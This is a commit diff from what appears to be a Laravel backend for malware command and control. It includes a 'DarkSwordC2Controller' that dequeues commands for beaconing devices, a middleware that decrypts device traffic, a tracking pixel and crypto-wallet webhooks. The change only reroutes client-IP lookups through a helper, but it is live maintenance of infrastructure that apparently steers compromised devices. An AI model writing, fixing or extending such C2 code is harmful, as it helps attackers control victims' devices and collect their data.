fix: ip
This commit is contained in:
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
@@ -97,7 +98,7 @@ class AuthController extends Controller
|
||||
RateLimiter::clear($throttleKey);
|
||||
$request->session()->regenerate();
|
||||
|
||||
$user->forceFill(['last_ip' => $request->ip()])->save();
|
||||
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -117,6 +118,6 @@ class AuthController extends Controller
|
||||
|
||||
private function throttleKey(Request $request): string
|
||||
{
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Agent;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
@@ -115,6 +116,6 @@ class AuthController extends Controller
|
||||
|
||||
private function throttleKey(Request $request): string
|
||||
{
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
|
||||
|
||||
@@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = $this->ingest->ensureDevice($request, $payload);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
|
||||
$ip = VisitorIp::fromRequest($request);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
|
||||
|
||||
$body = [
|
||||
'ok' => true,
|
||||
'type' => $command['type'] ?? 'noop',
|
||||
'client_ip' => $request->ip(),
|
||||
'client_ip' => $ip,
|
||||
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
|
||||
];
|
||||
if ($command !== null) {
|
||||
@@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller
|
||||
'dir' => 'ds',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'query' => $request->query(),
|
||||
'headers' => c2_log_request_meta($request)['headers'],
|
||||
'body' => $body,
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Support\SafeLog;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
@@ -33,7 +34,7 @@ class TelegramWebhookController extends Controller
|
||||
$expectedSecret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
|
||||
$this->webhookLog('info', 'telegram webhook hit', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'update_id' => $updateId,
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
@@ -45,7 +46,7 @@ class TelegramWebhookController extends Controller
|
||||
if ($expectedSecret !== '') {
|
||||
if ($header === '' || ! hash_equals($expectedSecret, $header)) {
|
||||
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'update_id' => $updateId,
|
||||
]);
|
||||
abort(403, 'Invalid webhook secret');
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Hooks;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\SafeLog;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Throwable;
|
||||
@@ -19,7 +20,7 @@ class TokenviewWebhookController extends Controller
|
||||
$payload = $this->decodePayload($request, $raw);
|
||||
|
||||
$this->tvLog('info', 'tokenview webhook received', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'method' => $request->method(),
|
||||
'has_signature' => is_string($signature) && $signature !== '',
|
||||
'body_bytes' => strlen($raw),
|
||||
@@ -31,7 +32,7 @@ class TokenviewWebhookController extends Controller
|
||||
$signed = $monitor->verifySignature($raw, $signature);
|
||||
if (! $signed) {
|
||||
$this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'body_bytes' => strlen($raw),
|
||||
]);
|
||||
} elseif ($payload !== []) {
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
@@ -32,7 +33,7 @@ class PageHitController extends Controller
|
||||
return $this->pixel();
|
||||
}
|
||||
|
||||
$ip = PageVisit::normalizeIp((string) $request->ip());
|
||||
$ip = VisitorIp::fromRequest($request);
|
||||
$domain = PageVisit::normalizeDomain($request->getHost());
|
||||
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Middleware;
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\VisitorIp;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
@@ -87,7 +88,7 @@ class DecryptCorunaBody
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
@@ -146,7 +147,7 @@ class DecryptCorunaBody
|
||||
'dir' => 'out',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'status' => $response->getStatusCode(),
|
||||
'timestamp_hdr' => $respTs ?: null,
|
||||
|
||||
Reference in New Issue
Block a user